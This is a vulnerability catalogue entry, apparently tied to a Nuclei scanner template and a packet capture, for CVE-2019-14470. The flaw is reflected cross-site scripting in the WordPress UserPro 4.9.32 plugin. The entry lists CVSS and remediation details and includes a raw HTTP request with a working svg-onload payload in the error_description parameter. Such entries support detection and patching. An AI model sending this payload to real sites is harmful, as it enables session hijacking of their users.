| Title | WordPress UserPro 4.9.32 - Cross-Site Scripting |
|---|---|
| Author | daffainfo |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information. |
| Remediation | Update to the latest version of UserPro or apply the provided patch to fix the XSS vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.30592 |
| CVE ID | CVE-2019-14470 |
| CWE ID | CWE-79 |
| Tags | cve cve2019 wordpress xss wp-plugin wpscan packetstorm instagram-php-api_project vuln |
WordPress UserPro 4.9.32 is vulnerable to reflected cross-site scripting because the Instagram PHP API (v2) it relies on allows it via the example/success.php error_description parameter.
GET / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; en-us) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10
Connection: close
Accept-Encoding: gzip
GET /wp-content/plugins/userpro/lib/instagram/vendor/cosenary/instagram/example/success.php?error&error_description=%3Csvg/onload=alert(1)%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh, Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.5 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2019/CVE-2019-14470.yaml
🦈 Packet Capture: ⬇️ Download cve-2019-14470.pcap
N/AN/A